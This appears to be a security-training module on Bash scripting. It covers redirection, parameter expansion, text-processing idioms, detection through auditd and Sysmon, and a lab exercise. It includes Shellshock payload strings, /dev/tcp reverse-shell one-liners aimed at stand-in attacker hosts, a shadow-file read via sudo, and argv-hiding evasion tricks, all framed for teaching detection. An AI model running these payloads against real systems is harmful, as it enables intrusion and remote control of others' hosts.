Skip to content

Bash & Shell Scripting

Bash is the lowest-friction interface to a Linux box, and Shellshock (CVE-2014-6271) is the single best reason to take it seriously. The bug was a parser flaw in how bash parsed environment variables as function definitions — () { :; }; /bin/id — and it ran on every CGI webserver, every DHCP client script handler, every SSH ForceCommand config, and every GitLab CI runner for years before disclosure. Bash is not just a shell; it is a glue language that touches everything, including an interpreter for untrusted input. This module covers the syntax that matters for security work: pipes, file descriptors, parameter expansion, /dev/tcp, and the awk/sed/grep pipeline that turns raw logs into actionable output.

Bash is a POSIX shell plus a lot of GNU extensions. The execution model is: read a line, expand it (parameter → brace → tilde → command substitution → arithmetic → word splitting → filename globbing → quote removal), then run the result. Each stage is a place where untrusted input becomes shell tokens — and that is where injection bugs happen.

┌──────────────────────────────────────────────────────────┐
│ Bash pipeline │
│ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │ cmd1│ -> │ cmd2│ -> │ cmd3│ -> │ cmd4│ -> │ cmd5│ │
│ └─────┘ └─────┘ └─────┘ └─────┘ └─────┘ │
│ \________ pipe (kernel pipe(2), 64KB default) ____/ │
│ │
│ Each cmd runs as a fork+exec; all share stdout→stdin │
└──────────────────────────────────────────────────────────┘
  1. File descriptors and redirection. Bash reserves fd 0 (stdin), 1 (stdout), 2 (stderr). User fds are 3–9.

    • cmd >file — redirect stdout to file (truncate).
    • cmd >>file — append.
    • cmd 2>file — stderr only.
    • cmd >file 2>&1 — stderr to the same place as stdout.
    • cmd &>file — bash shortcut for both.
    • cmd 2>/dev/null — discard errors.
    • cmd <file — redirect stdin.
    • cmd <<<"$string" — here-string; stdin becomes the string with trailing newline.
    • cmd <(other_cmd) — process substitution; bash creates a /dev/fd/63 FIFO, runs other_cmd, and passes the path as an argument to cmd. Lets you pipe into commands that take filenames (diff <(ls a) <(ls b)).
  2. /dev/tcp/host/port and /dev/udp/host/port — bash built-in TCP/UDP client. Not a real file, a virtual path handled by bash. Useful when there is no nc:

    Terminal window
    exec 3<>/dev/tcp/10.0.0.5/80
    printf 'GET / HTTP/1.0\r\nHost: 10.0.0.5\r\n\r\n' >&3
    cat <&3 | head -20
    exec 3<&-

    Compiled-out in some hardened builds (--disable-net-redirections in configure).

  3. Parameter expansion — no $() needed for the common cases.

    • ${var:-default} — use default if var unset/empty.
    • ${var#prefix} — strip shortest prefix match.
    • ${var##prefix} — strip longest prefix match.
    • ${var%suffix} — strip shortest suffix match.
    • ${var%%suffix} — strip longest suffix match.
    • ${var//old/new} — global replace.
    • ${var:0:5} — substring, zero-indexed, 5 chars.
    • ${#var} — length.
    • ${!var} — indirect expansion (read the variable whose name is $var).
    • ${var^^} / ${var,,} — upper / lower case.
  4. Arrays.

    Terminal window
    arr=(a b c d) # indexed array
    echo "${arr[1]}" # b (zero-indexed)
    echo "${arr[@]}" # all elements, word-split
    echo "${arr[*]}" # all elements, single word
    echo "${#arr[@]}" # count: 4
    declare -A map # associative array (bash 4+)
    map[key]=value
  5. find + xargs + -exec.

    Terminal window
    # Files modified in the last 24 hours, world-writable
    find / -xdev -type f -mtime -1 -perm -o+w 2>/dev/null
    # SUID binaries
    find / -xdev -type f -perm -4000 2>/dev/null
    # find -exec vs xargs: -exec forks per file, xargs batches
    find . -type f -name '*.log' -exec gzip {} +
    find . -type f -print0 | xargs -0 grep -l 'pattern'

    The + (vs \;) at the end of -exec batches the command into fewer invocations. Always use -print0 + xargs -0 for filenames that may contain spaces or newlines.

  6. awk — text processing. awk -F: '{print $1, $3}' /etc/passwd. Useful idioms:

    • awk '{sum+=$1} END {print sum}' — sum first column.
    • awk 'NR==1{next} {print}' — skip header.
    • awk -F'\t' '$3 > 1000' — filter rows where column 3 > 1000.
    • awk '{a[$1]++} END {for (k in a) print a[k], k}' — group count (frequency table).
  7. sed — stream editor. Real-world idioms:

    • sed 's/foo/bar/g' — global replace.
    • sed -i 's/foo/bar/g' file — in-place edit (GNU).
    • sed -n '10,20p' — print lines 10–20.
    • sed '/^#/d' — delete comments.
    • sed -E 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/IP:\1/g' — extended regex.
  8. grep — grep -E '(pattern1|pattern2)' for ERE, -v invert, -c count, -n line numbers, -r recursive, -A3 -B3 context, -i case-insensitive, -P PCRE (GNU).

TechniqueDescriptionDetection Difficulty
Shellshock (CVE-2014-6271)env x='() { :; }; <payload>' bash -c ':' — bash parses env as function and runs trailing codeEasy — IDS signatures on () { in HTTP headers
Reverse shell via /dev/tcpbash -i >&/dev/tcp/attacker/4444 0>&1Easy — outbound TCP from bash with no args visible in argv
Decoy filenames with dashes--</dev/tcp/... file named -l blocks tool arg parsingEasy — -- arg terminator
- stdin redirectcurl -K - reads config from stdinn/a — legitimate
Here-doc script wrappingbash <<<'payload' or bash <<'EOF'Medium — argv has no script path
Terminal window
# Reverse shell via /dev/tcp — only works on non-hardened bash
bash -c 'exec 3<>/dev/tcp/attacker.tld/4444; exec >&3 2>&3 0<&3; bash -i'
# Use -- to stop argument parsing on filenames that start with -
rm -- -l
find . -name '-*' -exec rm -- {} +
# Strip ANSI color codes from a log (or from a command output piped through less -R)
sed -r 's/\x1B\[[0-9;]*[mK]//g' /var/log/auth.log
# Frequency-table every destination IP from apache access log
awk '{ip[$1]++} END {for (k in ip) print ip[k], k}' /var/log/apache2/access.log | sort -rn | head -20
# Find all world-writable files outside known temp dirs
find / -xdev -type f -perm -o+w ! -path '/tmp/*' ! -path '/var/tmp/*' 2>/dev/null
# Replace '127.0.0.1' with 'REDACTED' across every .conf in /etc
grep -rl '127.0.0.1' /etc --include='*.conf' | xargs -r sed -i 's/127\.0\.0\.1/REDACTED/g'
# Inline audit-log summary: failed SSH attempts by source IP
ausearch -m USER_LOGIN -sv failed --raw | \
awk '/addr=/{gsub("addr=",""); print}' | \
sort | uniq -c | sort -rn | head
# Make a SOCKS proxy over SSH and confirm it works
ssh -D 1080 -N user@bastion &
curl --socks5 127.0.0.1:1080 http://internal.lab/
# Use process substitution to diff the output of two commands
diff <(curl -s http://v1.lab/api/users) <(curl -s http://v2.lab/api/users)
# SSH banner grab via /dev/tcp with a 5s timeout
timeout 5 bash -c 'exec 3<>/dev/tcp/10.0.0.5/22; head -c 64 <&3'

auditd with exec rule (-a always,exit -F arch=b64 -S execve -S execveat -k exec) records every bash -c '...' invocation with the full argv. The shell-level payload is always in the audit log, even if the binary is /bin/sh rather than /bin/bash.

Sysmon for Linux Event ID 1 (ProcessCreate) records command lines.

MITRE ATT&CK T1059.004 — Command and Scripting Interpreter: Unix Shell (bash, sh, zsh).

MITRE ATT&CK T1548.003 — Privilege Escalation: Sudo and Sudo Caching (abused via bash invocations as sudo bash -c).

MITRE ATT&CK T1571 — Non-Application Layer Protocol (raw /dev/tcp reverse shells that bypass typical SSH/syslog instrumentation).

MITRE ATT&CK T1053.004 — Scheduled Task/Job: Cron (bash scripts in /etc/cron.{hourly,daily,weekly,monthly}/).

Wazuh rule 920 / 31104 — /dev/tcp usage in command line [verify — custom decoder needed for the literal /dev/tcp string in argv].

Wazuh rule 9801 — Shellshock signature in HTTP headers (most web servers still ship this rule out of the box).

Hidden in argv via -c. bash -c 'payload' puts the payload in argv[2]. Many EDRs truncate argv display at 256 chars. Defense (defender): increase auditd argv length limit via -f 1 (or --buffer-size in modern auditd); log to file with no truncation.

Here-doc to keep payload out of argv. bash <<'EOF' reads script from stdin; argv has no payload. Auditd sees bash with no args; the actual script is invisible. Defense: monitor short-lived bash processes spawned without a -c and without a script file argument. Sysmon for Linux logs stdin source.

/dev/tcp is not logged in argv. The reverse shell bash -c 'exec 3<>/dev/tcp/.../4444' works, but so does bash -i followed by typed commands after you exec the fd from inside the running shell. Defense: log all execve and inspect the parent process — a bash started by sshd with no -c is suspicious.

sudo bash -c 'cat /etc/shadow' vs sudo cat /etc/shadow. The first logs in auth.log as user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/bash -c cat /etc/shadow; the second as COMMAND=/bin/cat /etc/shadow. Defenders alert on the former.

Decoy arg --. bash -c -- 'payload' is the same as bash -c 'payload' but argv parsing is slightly different; some naive parsers trip. Defense: canonicalize argv before pattern matching.

EvasionWhat it hidesHow to detect
bash <<EOFpayload from argvauditd argv has no -c; check parent cwd
bash -c --slight argv weirdnessCanonicalize before matching
/dev/tcp reverse shellnc/ncat missingSysmon for Linux EID 3 from bash to external IPs
exec 3<>/dev/tcp after launchsame as aboveEID 3 still fires
setsid bash -i to detach from ttytty in argvEID 1 parent != tty session leader

⚠️ What caught me: I was tracing an intrusion and the SIEM showed bash -c with empty argv in the audit log. The rule had a 4KB argv limit, and the actual payload was a 12KB python one-liner that ran as bash -c "$(python3 -c '...huge...')". The bash ran the python, python decoded a base64 blob, and the actual commands never touched argv of any process because they were python os.system() calls. Lesson: argv truncation in your SIEM means you see the wrapper, not the payload. Log full argv (auditctl -b 8192) and capture stdin for bash spawned with no -c and no script path.

VM: Ubuntu 22.04 LTS. Enable auditd with -a always,exit -F arch=b64 -S execve -S execveat -k exec. Install bash, gawk, sed, find, tcpdump, curl. A second VM running a netcat listener on port 4444 for the reverse-shell exercise.

Objective:

  1. Write a one-liner that lists all SUID binaries on the host and pipes to grep -v -E '^/(usr/bin|usr/sbin|bin|sbin)/' to find the anomalies.
  2. Demonstrate a /dev/tcp reverse shell to the second VM; confirm tcpdump -nni eth0 port 4444 shows the TCP handshake.
  3. Use awk to summarize the audit log by parent-process name and by user (frequency table).
  4. Demonstrate the -- arg terminator by creating a file named -l and deleting it with rm -- -l.

Expected flag format: flag{suid_listed_devtcp_seen_by_tcpdump_audit_summary_done}.

Detection that should fire: auditd ausearch -k exec -ts recent shows bash -c 'exec 3<>/dev/tcp/...'; Sysmon for Linux EID 3 (NetworkConnect) from the bash PID; tcpdump shows TCP three-way handshake to attacker IP.

Conceptual: explain the difference between ${var:-default} and ${var:=default}. When does the latter assign?

Technical: walk through what happens in cmd 2>&1 >file vs cmd >file 2>&1. Why is the order of redirections significant?

Scenario: a customer reports their web server was compromised via “a strange environment variable” in a CGI script. The attack string was x='() { :; }; /bin/id'. What is this CVE and what is the underlying parser flaw?

What is process substitution (<(...)), and how does it differ from a pipe? Name two commands where you must use process substitution instead of a pipe.

Technical: write a one-liner that finds every world-writable file outside of /tmp, /var/tmp, and /dev/shm, and prints them with their modification times sorted descending. Explain the role of -xdev and why you used it.

→ F1 (Networking Fundamentals) · F5 (Python for Security) · F9 (Virtualization & Lab Setup)